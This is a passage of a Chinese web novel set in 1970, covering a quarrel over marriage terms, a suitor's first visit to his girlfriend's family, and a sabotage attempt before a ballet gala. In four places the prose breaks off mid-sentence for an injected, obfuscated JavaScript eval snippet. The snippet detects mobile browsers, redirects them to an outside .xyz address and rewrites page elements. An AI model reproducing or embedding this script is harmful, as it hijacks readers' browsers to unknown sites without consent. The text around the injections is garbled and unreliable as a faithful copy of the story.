高斌瞬间兴致缺缺,对于蓝母的话,回答的就有些生硬,他说:“伯母,恐怕你误会了。我和可人谈对象还不到十天呢,这谈婚论嫁的有点儿早吧?而且我最迟明年就要去当兵了,肯定不能这么早结婚的。” 蓝可人吃惊地抬起头,没想到高斌这么说!当兵难道比她还重要? 蓝母当即变了脸色,她可都跟周教练说了,让可人渐渐退居二线,这小子竟然不同意!她说:“话不好这么说的,不以结婚为目的的谈对象,就是耍流氓。你家可是大院儿的,传出去影响不好吧?” 高斌嘿一声:“谈对象嘛,总有成功的,也有失败的,对吧?就连结婚还能离婚呢,没听过谈对象就得结婚的。蓝伯母,您这就有点儿不讲道理了。” 他看向蓝可人,严肃着脸道:“可人,我跟你说过,我目前还不想结婚。你要是等不及,那咱俩就分手,你再找别人就是,我高斌可不受人威胁!” “你混蛋!”蓝可人颤抖着身子,指着高斌尖声道。 国营饭店的众人都循声望过去,眼神儿里或多或少都带着谴责。高斌吊儿郎当的,全然不当回事儿,他高声道:“看什么看,混蛋是我小名儿,有什么大惊小怪的。该吃吃,该喝喝,别管闲事儿!” 众人的目光又刷刷收回去,可是一个个的,耳朵都支棱着呢。 高斌翘着腿儿,望向蓝母正色道:“蓝伯母,结婚可不是小事儿,而且我理解的婚姻,恐怕跟你理解的有些差别。我要娶,娶的也是蓝可人这个人,而不是您还有您身后那一大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192676|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。我知道可人有个哥哥,这么跟你说吧,娶可人可以,但是得立下字据,可人的工资三分之二都归我管,只有三分之一可以自由支配。而我家现有的一切财产,都归我家所有,你家......” 他伸出食指,慢慢地左右摇了摇,还啧啧两声:“你家,一分一毫的便宜也别想占!而且我还会让人盯着你家,只要有违规违纪的地方,我就会举报。怎么样,还结婚吗?” “你!”蓝母气得胸脯直喘,“我是可人的妈妈,你俩结婚后,你也得叫我妈!做妈的,花孩子的钱怎么了?你怎么这么抠门!你......” 高斌掏掏耳朵,一脸痞气地道:“你接着骂,反正我出来混这么多年,又不是没人骂过!我就是这个条件,愿意就结,不愿意拉倒!可人知道的,我说到做到。” 蓝母余光去瞧蓝可人,见闺女眼泪都下来了,一个劲儿哭,蓝母气儿不打一处来,忍不住伸手拧了把蓝可人的腰,咬牙切齿道:“没用的东西!”白瞎了这么好的脸蛋! 说着恶狠狠望向高斌:“你等着,这事儿没完!” 拉起蓝可人转身就走。高斌才不怕呢,见人走没影儿了,这才起身朝关百钺和章清云走去,嬉皮笑脸的:“巧了不是,凑个桌?” 关百钺忙起身拉椅子,高斌伸手指了指人,笑着揭短道:“怎么,在姑娘面前表演起绅士了?得了,我一个大男人,用得着你拉椅子?坐那儿吧。” 关百钺笑着点点头,这才坐下。 高斌坐下后调侃:“打扰你俩约会了。弟妹,别见怪哈,今儿这顿我请了。那什么,我有事儿拜托你。” 见章清云点头,高斌脸色才严肃起来,抹了把脸:“其实今儿我是想跟可人说当兵的事儿的。秋天我就要走了,真不是故意气她的。她妈你也见了,就不是真心为她好的,要是她能拎得清,我也不是不能娶她。真的,我是真喜欢她。可要是她一心想着爸妈还有哥哥,我可供养不起那一大家子。” “恭喜。”章清云开口道,“杜玉玲的事儿你也知道,可人性子软,容易被人拿捏。你要是真喜欢她,就要表现的比她父母还可靠,还要爱她才行,否则你俩没可能的。” 高斌苦笑着摇头:“可我当兵一走至少两年......行了,不说我的事儿了。听说弟妹今儿飞了叶宛如的帽子,行啊......” 三人开始闲聊,国营饭店的菜陆续上来。这年头,国营饭店的厨师,手艺是真好。牛肉包子皮薄馅儿大,红烧鸡块儿一点儿也不柴,高斌后来加的那道蒜蓉排骨,也十分美味。三人一时安静下来,桌上都是咀嚼的声音。 饭后,关百钺骑车送章清云回家,两人并肩而行,徐徐晚风吹过,清爽宜人。 到胡同口了,章砚臻颇意外地站起来,特诧异地道:“清云呀,哎呦,多谢你送清云回来,小伙子怎么称呼?” 章清云:“......”您这从来不和老头儿下棋的人,今儿特意坐在老爷子对面,这下了不少时间了吧?为的什么谁看不出来啊,没见几个老头儿也双眼亮晶晶的看着关百钺嘛。 得,章清云转头对关百钺道:“要不然到家里坐坐?” 18. 毛脚女婿要上门 章清云并不排斥婚姻,相反,从小在孤儿院长大的她,十分想组建一个家庭,生一个有着血缘关系的孩子。上辈子,她曾无数次畅想过,有了孩子后,要给她/他买什么玩具,如何送她/他去幼儿园,如何陪伴孩子成长...... 可还没等这些实现呢,刷一下,飞机失事,来到了一九七零年,成了芭蕾舞演员章清云。紧接着糊里糊涂的,成了别人口中的关百钺“女朋友”。她不是没想着解释,可越解释越坐实,所幸就懒得解释了。几次接触下来,关百钺人还不错,她也就不想解释了。估计关百钺也是如此吧。 她之前看过书,最好的爱情,得先是彼此容貌上的吸引,之后才有可能接触,进而发现心灵的契合,最后迈入婚姻。章清云想,两人应该都对彼此的样貌满意吧? 章清云有些走神儿,章砚臻却没想到闺女这么直接,直接给他整不会了。这么快的嘛,他看向关百钺,眼里多少带着挑剔。 殊不知,关百钺并不想这时候登门。也不是不想,而是什么东西都没带,此时登门不合适。他很善解人意地说:“章伯父,您好。我是关百钺,那什么,天儿也晚了,改天周末,我再正式登门,不知道您周末有没有空?” 章砚臻咬牙切齿:“有空!你来吧。” “好嘞。那章伯父再见。”关百钺冲着众人点点头,这才转身离开。 章砚臻捂着胸口,看向闺女时,心里直抽抽,他边走边苦口婆心地劝:“清云,你不再想想?这混小子长得是好看,可男人,最不重要的就是长相了,真的,这都是爸的金玉良言,你可不能不当回事儿。” 章清云好笑:“爸,这不是还没登门儿嘛。急什么,登门儿的时候您和我妈再细看,怎么样?” 章砚臻可不上当,他追问:“有工作没?家里是做什么的?几口人,你都见过没,人好相处不?” 章清云一一回答:“他叫关百钺,工作嘛,就是东边那个物理研究院儿的,后勤。他爸他妈都在基地做研究呢,好几年不回来了。家里就剩他和他姐姐两个人。他姐姐叫关盈钺,已经有对象了,正准备结婚呢。我见过他姐姐,人还不错。” 陈静也出来了,在一旁静静地听着。夫妻俩对视一眼,说实话,臭小子的条件听着还不错,行吧,周末再看吧。 两人没再说话,大杂院里热闹开了。特别是袁家两兄弟,知道章清云有男朋友了,心里那个伤心啊,就差又绝食了。见人回来了,站在大杂院门口,幽怨的看着章清云,一副看负心女的神情。章清云都无语了,两位大哥,原身跟你们都不可能,更别说她了,她可最看不上妈宝男了! 至于章清远,自然是忙着啃牛肉包子,香的说不出话了。章家大伯一家没发表什么意见,只等着周末那小子登门的时候再看。 说起来,整个大杂院真心为章清云高兴的,就是原身好友司南了。她冲着章清云挤眼睛,拉着人低声道:“好帅啊,清云,你眼光一向好,我支持你哦。” 章清云捏了捏司南的圆脸蛋儿,笑着说:“好,你什么时候有男朋友了,也得告诉我,知道吗?我可得给你把关。” 这个司南呀,也不知道是不是气场不对,总是吸引渣男,她可得看着点儿。想到这里,她叮嘱道:“下乡了,也不能随便谈恋爱,村里的小年轻和知青都不行,知道吗?谈个村里的,你想回城就难了。要是知青,天南海北的,家里什么样儿都不知道,可不能听那些小伙子瞎忽悠......” 司南一个劲儿点头,却说骑车回科研大院儿的关百钺,都进院子了,迎面走来俩人,正是高武和叶宛如。高武意气风发,搂着叶宛如的肩膀说说笑笑。叶宛如呢,看见关百钺狠狠翻了个白眼儿,高武拍了拍她的肩,低声哄道:“等我一下,我去跟关哥说几句话。” 叶宛如抱胸轻哼一声,脸上颇有些不耐烦。 高武小跑过去,笑着低声道:“关哥,我调去市政后勤部门了,嘿嘿,谢谢关哥提醒。” 关百钺摆摆手:“自家兄弟,很不必说这些。” 他悄悄指了指叶宛如,问:“这是定下了?” 高武嘿嘿嘿的笑。飞帽子的事儿传开后,他第一时间去找了叶宛如,又是安慰又是表白的,可不是搞定了? 关百钺拍了拍高武的肩,笑着说了声恭喜,继续问:“有事儿?” 高武挠挠头:“那什么,哥,听小海子几个说你在收干菜?别忙活了,我都进后勤了,明儿让人给你送几袋子过来。” 关百钺连连摆手,正色道:“小武,哥叮嘱你几句。进了后勤,一要管住手,不该伸手的千万别沾手。二要管住嘴,看到什么都先放肚子里,别随便言语。只有如此,同事领导们才能信任你。最重要的呢,是要管住下半身。谁都知道后勤油水足,这是个很容易犯错误的岗位。钱、权、色,你现在有了权,钱和色就悠着些,知道吗?” 高武嗯嗯嗯的点头,关百钺这才道:“行了,干菜的事儿我会看着办的,去吧。既然和叶宛如在一起了,就好好处。她爸大小也是个领导,不是以前那些没背景,出了事儿能随便摆平的,知道吗?” 句句都是为高武好的话,高武感动的眼圈儿都红了:“知道了,关哥,你就是我亲哥。” 关百钺连连摆手,示意高武先走。虽然是拿高武顶了叶宛如的雷,但也给他安排了好去处,并不存在谁亏欠谁占便宜的事儿。 翌日一早,关百钺和章清云确定关系,而高斌和蓝可人闹翻了的事儿,一早就在团里传开了。杜玉玲来得早,听同伴说了之后,越想越气,她可太了解蓝可人了,七一汇演肯定闹幺蛾子,难道就这么让章清云成为台柱子,年纪轻轻的压她一头? 正想事儿呢,同伴啊地一声叫了出来:“流氓!” 杜玉玲回过神,就见旁边的衣裳架子后,藏着一小个子男人。先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197403|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被挂起来的衣服挡着,两人只顾说话,没看到,如今同伴正准备换衣服,去衣架那里找舞蹈服,这才看到了。 男人先是吓了一跳,睁着小眼睛看向两人,狼一样冒着绿光。此时还早,更衣室就杜玉玲和同伴两人,男人见这么久了没人进来,胆子也大了,向最近的杜玉玲同伴扑过来。 杜玉玲边跑边喊:“来人啊,抓流氓了。来人啊......” 许是杜玉玲打开了门,声音大了,门外渐渐传来脚步声,男人见情况不对,忙跳窗,从另一侧逃跑。等章清云到的时候,更衣室里已经来了四名警察,正跟杜玉玲和那名叫王梅的队员问话。 程紫鹃低声道:“更衣室来了男人!早上杜玉玲和王梅第一个到的,差点儿遭殃!还是门卫老邱听到了动静,赶过来救了两人。” 章清云皱眉,文工团的管理还是有问题,怎么会让外人进来呢!还是更衣室这么私密的地方,要是出了什么事儿,可不是玩的! 因着这个小插曲,今日的训练迟了些,不过周六了,本来训练任务就不重,大家又受了惊,周文芳干脆安排了理论学习,和简单的训练相结合,不到四点就让大家回家了。 另一边呢,收了三四天干菜的关百钺,终于将两百斤干菜寄去了大西北,又转头去找吴军。不为别的,明儿去章家,得拿东西啊,吴军别的用处没有,手底下还是有一帮人的,鱼龙混杂的,淘换个东西还是行的。 吴军如今已经是钢铁厂的司机了,只不过新手嘛,一般不会让他开车上路,都得先学半年修车才行。如今的司机都是不仅会开车,还必须会修车的。半路上车坏了,可没有一个电话过去,修车行过来人帮你修的事儿,都是司机自己修。 来到车队,见吴军正学习修车呢,关百钺高声招呼:“小军,走,中午了,吃饭去?” “关哥。”吴军从车底下钻出来,脸上手上都是机油,他笑道,“哥,不是不跟你去,我这忙不开。您有事儿?” 关百钺笑,低声道:“嗐,不是什么大事儿。你手底下那些人里,我记得有一个家里是水库那边的?怎么样,有鱼卖没有?” 吴军笑:“这事儿啊,哥,您买鱼做什么?要是送人呢,你就找他,他那儿的鱼大,送人体面。要是自己吃呢,我给你推荐另一个哥们,他家后面是沼泽地,里面都是泥鳅、黄鳝这些,吃着比鱼强。” 关百钺笑容十分灿烂:“行,那就泥鳅和黄鳝,这东西比鱼肉补。” 吴军说了个人名和地址,关百钺拍了拍吴军的肩膀:“行,哥谢谢你了。走了,回见。” “别介啊,哥,你打听这些是干啥?给咱姐婚礼准备的?要是这样,你早说啊,我跟哥们说一声,不用你走这一趟......” 关百钺笑着摆手:“不是,去老丈人家带的礼。你忙着吧,我走了。” 吴军小小声嘀咕了一句:“速度还挺快。” 19. 正式登门被灌酒 关百钺呢,不仅找到了一桶泥鳅和黄鳝,还关系套关系的,寻摸到了野鸡。家里还有桃酥和大白兔,四样礼,带着应该也够了。 谁知到了晚上,关盈钺听说弟弟明儿要去章家,急匆匆去了一趟洪安娜家,带回来一条牡丹香烟和一瓶茅台:“六样礼,这样才郑重呢。还有,明儿你去了章家,不要多话,人家父母说什么,你只管听着就是。人家养了十八年的闺女,如花似玉的,要嫁出去成别人家的了,心里指不定多难受呢,要是说话不好听,你也受着,别发脾气......” 关百钺:“......”他自认为是个十分善于隐忍的人,这都穿过来大半个月了,怎么原身的姐姐还没对他改观? 要说关百钺对章清云的感情,最准备的说法,应该是起源于色相上的吸引,让他没第一时间解释。 后来一次次接触下来,章清云的利落洒脱才渐渐走进了他的心。三辈子了,他也想有一个家,一个能放松的地方。而家里的另一个人,一想到是章清云,关百钺发现他并没有抵触情绪,反而有一丝丝兴奋。 那还有什么说的,关百钺从来不是犹豫的人,昨天果断说定了拜访时间,明儿上门,想来会顺利的,吧。 顺利不顺利,目前说这些还太早。只说一大早,章家就忙活开了。再不乐意,该准备的总得准备起来。章砚臻一大早就去供销社排队,还去了胡同的菜站,跑了三四个地方,才凑够一斤猪肉、一斤排骨和一大块老豆腐,约莫有个一斤。配上空心菜、红薯叶等青菜,勉强能凑六个菜。 邵华呢,特意翻出来一包红糖,吃过早饭后送到了陈静手上:“供销社受潮的红糖,新女婿上门,红糖荷包蛋总得准备,拿去用吧。” 陈静道了声谢,妯娌俩历来没翻过脸,先前因着房子的事儿冷战过,如今都过去了,房子也盖起来了,晒上半个月就能住人,关系可不就缓和过来了,她笑着说:“那谢谢大嫂了。清洋的婚事准备什么时候办?” 邵华笑得一脸开心:“九月二十,那天正好是礼拜天,都休息,正好办事儿。糖票什么的,弟妹有的话给我留着,办事儿要用。” “那是自然。”这年头办喜事儿,都是东一家西一家的攒票。糖票、烟酒票、副食品票,有些讲究些的人家,提前大半年就攒起来。邵华在供销社工作,弄来这些物资不难,只是得迷人的眼,票该借还得借。 妯娌俩说着话,那边两兄弟也聊上了。章砚廷细细打问了关百钺的情况,侄女长得跟朵花儿似的,他自然也喜欢,忍不住出主意道:“不是说酒后吐真言吗?这样,让清海、清洋、清宇几个都过来,咱们轮流灌他酒,不信他不说真话。” 章砚臻有些犹豫:“不好吧?第一次上门就被灌醉了,以后对清云不好咋办?”平日里挺精明的一个人,在女儿的事情上,犯了糊涂。 章砚廷拍板:“他敢!就这么定了,我去跟那仨小子说。不止是喝酒,也让他看看,咱章家有人给清云撑腰,也让他掂量掂量,该怎么对清云。酒的事儿交给我,端午的时候,我几个徒弟都来送了酒,我没喝,放着呢,今儿只管造。” 另一旁,后知后觉的章清远总算是明白过来,感情昨儿那肉包子不是白吃的,那人想娶他姐!他重重地哼一声,起身去了正房东厢,找两岁的小侄子章鸿星。想娶他姐,可得过他这一关。 关百钺还不知道,去章家要面临什么呢,此时穿着一件白色短袖衬衫,一条蓝色的工装裤,皮质凉鞋,头发也梳得清清爽爽的,对着关盈钺转了个圈儿,无奈道:“姐,这一身儿总行了吧?” 关盈钺转着圈儿地看。衬衫塞进裤子里,锃新的黑牛皮腰带露了出来,钢扣白花花亮闪闪的。再去看手腕,全新的梅花牌手表也戴上了,立立整整的,看着就洋气! 关盈钺这才点头:“行,这才能显示家底儿呢。姐也不是让你炫富,可总得让人家父母放心把女儿嫁过来吧?怎么才能放心呢,还不是得物质条件富足。你个傻小子,啥也不懂。好了,拎上东西去吧,记得嘴甜一些。” 又叮嘱了几句,这才放人离开。等人开门出去了,又想起什么,小跑到门口喊道:“骑那辆锰钢车,对,就那辆,我昨儿去安娜家借的。” 关百钺叹口气,听话地去推旁边的自行车。锰钢车,其实就是永久自行车,只不过是全链套、装有电镀后架,型号为永久十三型。这是目前最流行也是最体面的自行车了,关家不是买不起,只不过产量有限,难买罢了。 出门,打扮得这么招人眼,一路被人西洋景似的瞧,知道今儿这小子上老丈人家去,这个调侃哟。 这个说:“哟,毛脚女婿上门,嘴巴可得甜,别被人打出来。” 那个调侃:“那不会,咱们百钺这么英俊的小伙儿,丈母娘见了,还不得乐开花?” 一群人哄笑开,要不是在大院不能骑车,关百钺恨不能镫上车蹭蹭蹭离开。等好不容易出院门了,这才松了一口气。 科研大院儿位于青江市东边方向,稍微靠南。而章家所在的三叉树胡同呢,在南边又稍微靠东的地方,因此两家离得并不远,骑车二十分钟就到了。 三叉树胡同那个热闹啊,钢铁厂一枝花的男朋友要来,胡同口一早就围满了人,附近胡同、隔壁胡同,就连隔三四个街区,只要有钢铁厂职工住的,都有人来,就为了看看,是谁摘了章清云这朵花儿。 见一白白净净的小伙子,推着锃光瓦亮的锰钢自行车。那自行车呢,车篮上、车把上、后车座儿上,绑的放的都是礼,这还有什么不明白的。 感情是这位呀。那他们输得不冤,自来大姑娘爱俏嘛,看不见他们深沉的内心,相中这小白脸儿了。大家切了一声,纷纷让出一条路,让关百钺进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205978|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >被这么多人围观,关百钺不是不尴尬的。是,尴尬,但一点儿不紧张。他上上辈子可是宰相,上辈子是CEO,什么大场面没见过,今儿这么点儿人,他还撑得住。就是大家跟看猴似的,让他很不舒服。 作为大伯的章砚廷早看见了人,见小伙子又是手表、又是皮带,还推着崭新的自行车,心里先满意了两分,适时开口赶人:“都让让,让让,又不是家里没来过人,有什么好瞧的,散了吧,大家伙儿有事儿都去忙自个儿的事儿,别聚这儿了。” 章砚廷长得跟铁塔似的,平时还真没人敢反驳他的话,闻言三三两两地散开,一步三回头的,十分的不情愿。 关百钺也是打听过章家的事儿的,知道这位是章家大伯,乖乖叫人:“章大伯。” “哎,进,快进来。”章砚廷答应一声,领着人进门儿。 进到东厢的正厅,好家伙,餐桌上齐刷刷坐了三个大小伙子,最大的章清海二十二,最小的章清宇才十八,一个赛一个的结实。 章砚廷一一介绍,关百钺赔着笑脸儿,点头哈腰的。见完了大房的人,章砚廷这才介绍弟弟一家。章砚臻前天晚上见过,陈静和亲小舅子是第一次见,关百钺忙将手上的礼放到桌上,笑着道:“章伯父,章伯母,第一次上门,小小心意,不成敬意。” 陈静上下打量小伙子,不得不说,眼前一亮!稳重、矜持,长得也好,乍然一见这么多人,不仅不慌,还进退有度,是个值得托付的。 她赞赏地看了闺女一眼:“这么客气做什么。来,坐,小远,去拿酒杯,今儿得多喝几杯。”嗯,赞赏,但不能耽误正事儿,该灌酒还是要灌酒的。 关百钺就看桌上放的三瓶玉泉,笑容愈发真挚。自来宴无好宴,他可是做好了准备的。 其实喝酒还早,青江市的规矩,新女婿上门,要先吃一碗红糖荷包蛋。蛋的多少,代表对女婿的满意程度。那高兴的,下十二个鸡蛋的都有,最少的也有两个,没有单数的嘛。陈静就起身,去厨房端鸡蛋。本来准备了六个的,她又临时加了两个,八个鸡蛋,算是对这小伙子的肯定。 关百钺满脸带笑地吃着鸡蛋,动作却越来越慢。八个呢,吃完别想吃其他的了。章清云就笑,利索地伸手,抢过碗道:“行了,是个意思就行,你还真吃完啊。吃菜吧,今儿菜不少。” 章砚臻偷偷瞪了闺女一眼,同时示意几个大侄子灌酒。热热闹闹的,关百钺很快被围起来,章清云看着被围在中间的男人,偷笑。 章清海:“百钺,哥是章家清字辈儿的老大,给不给哥面子?给就走一个,不给那你随意。” 这能不给嘛,闷了。 章清宇:“百钺哥,我跟清云一边儿大,但也是清云的三哥,是不是得喝一个......” 那得喝,这种半大不小的孩子,最看重面子,得,又喝一杯。 20. 汇演后台双遇险 说起来,章家几个小辈儿这么热情,还有一个原因,那就是关百钺丫的竟然炫富!怎么,新社会了,还想用钱财权势压人?他们可不怂!也让这家伙看看,章家男人,顶事儿! 不得不说,关盈钺还是年轻,不了解男人们诡异的胜负欲。 感受到大舅哥们的热情,没喝两轮,关百钺开始熟门熟路地装醉。老丈人和几个大舅子问什么都老实回答。 最近在做什么,对未来有什么规划,父母都是什么样的人,就连姐夫家是做什么的,都说的很详细。关百钺最近忙着研究榨油机器的事儿,又不是什么见不得人的。只不过事情还没定,他也没说的那么详细,只说在研究机器的事儿。 章清远还作怪呢,牵着章鸿星进来。小家伙才两岁,走路摇摇摆摆的,见到爸爸章清海乐得咯咯咯笑,正想乳燕投林呢,章清远在一旁轻咳两声,小家伙的胖腿儿立时拐了个方向,朝关百钺走去。 “叔叔,我要吃肉。”章鸿星仰着脸,眼睛一眨不眨地看着关百钺。 关百钺:“......”看向亲小舅子,这是什么操作?怎么小不点儿也来凑热闹? 章清海喝得脸红通通的,也是有些醉了,开口逗儿子:“鸿星,你个小不点儿来干什么?” 章清远赶紧咳嗽两声,谁知章鸿星可不觉得该瞒着爸爸,他眨巴着大眼睛,奶声奶气地道:“缠着叔叔,不让他跟姑姑单独在一块儿。” 章家人对视一眼,哈哈哈笑了起来。这个章清远啊,人小鬼大的,这是怕姐姐吃亏,撺掇侄子盯人呢。 在一片欢声笑语中,大杂院里传来了吵闹声。 为啥吵闹呢?还不是邻居们闹出来的事儿。袁母何玲也不知道怎么想的,非要今天让媒人给二儿子袁国伟介绍对象。 “章清云才十八,都有对象了,我家国伟都二十二了,他姚婶子,我这不是着急嘛。” 媒人也为难,之前又不是没给袁家老二介绍,可哪次不得被何玲挑拣?人家女方还不愿意呢,一看袁家老二就对邻居有意思,准婆婆又是这么个性子,她们又不是嫁不出去,何必上赶着。 何玲看媒人这架势,一拍大腿,笑着道:“要么说得今天呢,你也看到了,章清云对象来了,我家国伟就算再有心思,今儿也歇了。您再介绍一个,保准成!他姚婶子,你可不能不帮我。” 媒人姚婶子挑挑眉:“合着今儿就得领人过来相看啊?没这样办事儿的。你今儿才跟我说,我得找人去呀,你当是菜市场买菜呢,正好有现成的。” 这边歪缠着,那边苗母牛桂兰也扭着腰出来了,探头探脑地往章家瞧。她家盼儿今年也十七了,也是市文工团的,牛桂兰是想着,关百钺怎么说也是大院的,是不是能给她家盼儿介绍个对象啥的? 这人历来没有单蹦一个的,都有亲戚朋友,关百钺一个顽主,能没有?她也不求多大的官儿,能嫁进大院过轻省日子,就成。高嫁个大官儿,是好,可哪儿那么容易!她虽然重男轻女,也是希望女儿能好好过日子的。 姚婶子余光瞧见了,瞬间眼前一亮,努了努嘴儿,低声对何玲道:“你这还求我呢,你们院儿不就有现成的......” 何玲忙打住:“可别说这话,她家那丫头我家可高攀不上!下巴都抬到天上去了,那眼睛里能看见谁?我可要不起这样的儿媳妇......” 这数落人家闺女,能不被牛桂兰听去?好嘛,两个女人打起来了。就在大杂院,你说就这么点儿地方,能看不到?章家招待新女婿呢,这不是膈应人嘛。 虽然有不愉快,总算邻居两家没出太大的幺蛾子,让章家顺顺利利地招待了关百钺。关百钺呢,装醉嘛,被扶到小舅子章清远的房间躺了一个小时,下午三点才告辞离开。 章清云送到胡同口,关百钺道:“我爸妈都不在,我姐说不用特意去看她,哪天咱们单独去苏联餐厅吃一顿就行。” 章清云歪着头问:“你喜欢吃西餐,还是盈钺姐喜欢吃?” 关百钺愣了下,笑着解释道:“不是,苏联餐厅不是正式嘛,如今大家有事儿都是去那儿,体面。” 章清云就笑:“行吧,那你和盈钺姐定了时间,告诉我一声就行。” 关百钺点点头,关心道:“大后天就七一汇演了,你......” 章清云叹口气:“可人姐这几天状态不好,七一汇演得我上了。明后两天我都要加紧训练,你可别来找我了,我没时间。” 行吧,演出是正事儿。关百钺也就没说,那天他也会去看演出的事儿。 登门了,两家就算正式来往起来。作为男方,关百钺自然要更热情,今儿送香蕉,明儿送苹果的,总归是有时间就去章家一趟,刷刷存在感。 章清云呢,因着原主对芭蕾的执念,七一的汇演看得就比较重,满心都是训练,还真没时间去关家。如此,两天过去,很快到了周三,七月一日,汇演的正日子。 一大早,章清云不到六点就起了,吃过早饭,该上班的上班,该上学的上学。章清云七点到了市文化宫,锁好车子,急匆匆进入后台。她今儿是主演,妆造复杂,得早些到。 因着匆忙,章清云没注意到,身后跟着人呢,还不是一个。 打头的,是一名陌生的男人,在跟上去前,男人瞄了眼不远处的胡同,许是终于下定决心,咬了咬牙,猫着腰儿跟进去。男人进去没多久,柱子后面闪出来一人,正是准备给章清云一个惊喜的关百钺。他今儿也是一大早就起了,六点半到的文化宫。 如今华国很多建筑都是仿造苏联建的,青江市的文化宫自然也不例外。巨大的圆柱子就是这类建筑的特点之一,是以关百钺能很轻松地找到柱子藏起来。本来想等章清云来了给她惊喜的,谁知道让他看到了两个人,正是前面进去的男人和杜玉玲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229284|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 关百钺可是知道杜玉玲做过的事儿的,这是又想做什么?离得远,他也听不清,只是看到男人捏着杜玉玲的手,似是一直在提要求,而杜玉玲一个劲儿点头。没过多久,杜玉玲转身离开,躲进了旁边的巷子,而男人呢,转身躲进了对面的胡同。 出于谨慎,章清云来的时候,关百钺并没有现身,他想看看男人和杜玉玲想做什么。果然,章清云进去没多久,紧跟着男人就出来了,也跟着进去。 那还有什么犹豫的,关百钺果断跟上。越想越觉得事情不对,关百钺跑得跟兔子似的,终于在男人准备敲章清云闷棍的时候,大吼一声:“清云,背后,小心背后!” 章清云是第一个来的,正在更衣室换衣服呢。她背后也没长眼睛,自然不知道有人跟踪。此时闻言,一个弯腰躲过背后的长棍,同时蹲下,转身,扫堂腿铲人,一气呵成。 男人就是个混混,身上没工夫的,一下子被铲倒在地。见事情败露,怕被抓,男人起身就往外跑,路过关百钺时,不忘猛地伸手,将人推进门,又果断地把更衣室的门合上,以防两人追出来。 关百钺被推到地上,低骂了一句,等爬起来时,章清云已经来到了他身边,她犹豫着问:“没事儿吧?” 关百钺摇摇头,赶紧道:“是杜玉玲。我早上来得早,看见她和那个男人说话。” 章清云脸上浮现出怒色,这是自个儿淋了雨,也要让别人尝尝被淋的滋味儿是吧?那次更衣室进来男人的事儿,果然传开了,且不出意外的,事情传着传着就变了味儿,已经变成杜玉玲和王梅被流氓那啥啥,说的有鼻子有眼的。 尽管队里的人都知道不是这么回事儿,可外人不知道啊。杜玉玲和王梅受流言影响,已经很多天不说话了。要不是七一汇演推不掉,估计王梅能直接请假。 本来章清云对两人是同情的,这种事儿,又是出在这个年代,总归是女人吃亏。谁知杜玉玲竟然想算计她! 章清云下定决心,开口道:“这样,你去报警,我今天跳完也去警察局录口供。你的话有人怀疑,警察的调查结果,别人总归得信吧?” 关百钺点头:“行,那你小心舞台上杜玉玲给你难堪。” “她不敢的。”章清云嗤笑一声,“她还想着今儿惊艳众人,借机攀高枝儿呢。” 商议好,两人这才打开门,正好队员陆续进来,见关百钺从更衣室出来,还吃了一惊,不过顾忌着章清云的面子,到底没说什么。 杜玉玲是个沉得住气的,直到要上台了,都没有表现出一丝一毫的异常。当然,也没敢在舞台上出幺蛾子,整场演出十分顺利。 在经久的掌声中,众演员谢幕离场。回到后台,团长向党才向众人恭喜演出成功,警察就来了,请杜玉玲和章清云去派出所配合调查。 调查的结果是,章清云下午就出来了,而杜玉玲,仍然关着。 21. 双掉马感情飞升 关盈钺等在外面,一脸的义愤填膺。她今儿特意请假来看演出,谁知道出了这事儿,此时拉着章清云的手上上下下的看:“清云,你没事儿吧?这人怎么这么无耻!还同事呢,比仇人都坏。” 洪安娜也问:“这次杜玉玲应该会坐牢吧?” 关百钺却不乐观,那个男人跑了,还没抓到。杜玉玲要是不承认,说他是章清云的男朋友,故意冤枉她云云,还真不一定能判刑。 章清云笑:“就算不坐牢,只要能调离芭蕾舞团就行。有她在,大家都不能安心,相信教练和团长应该会考量大家的情绪的。” 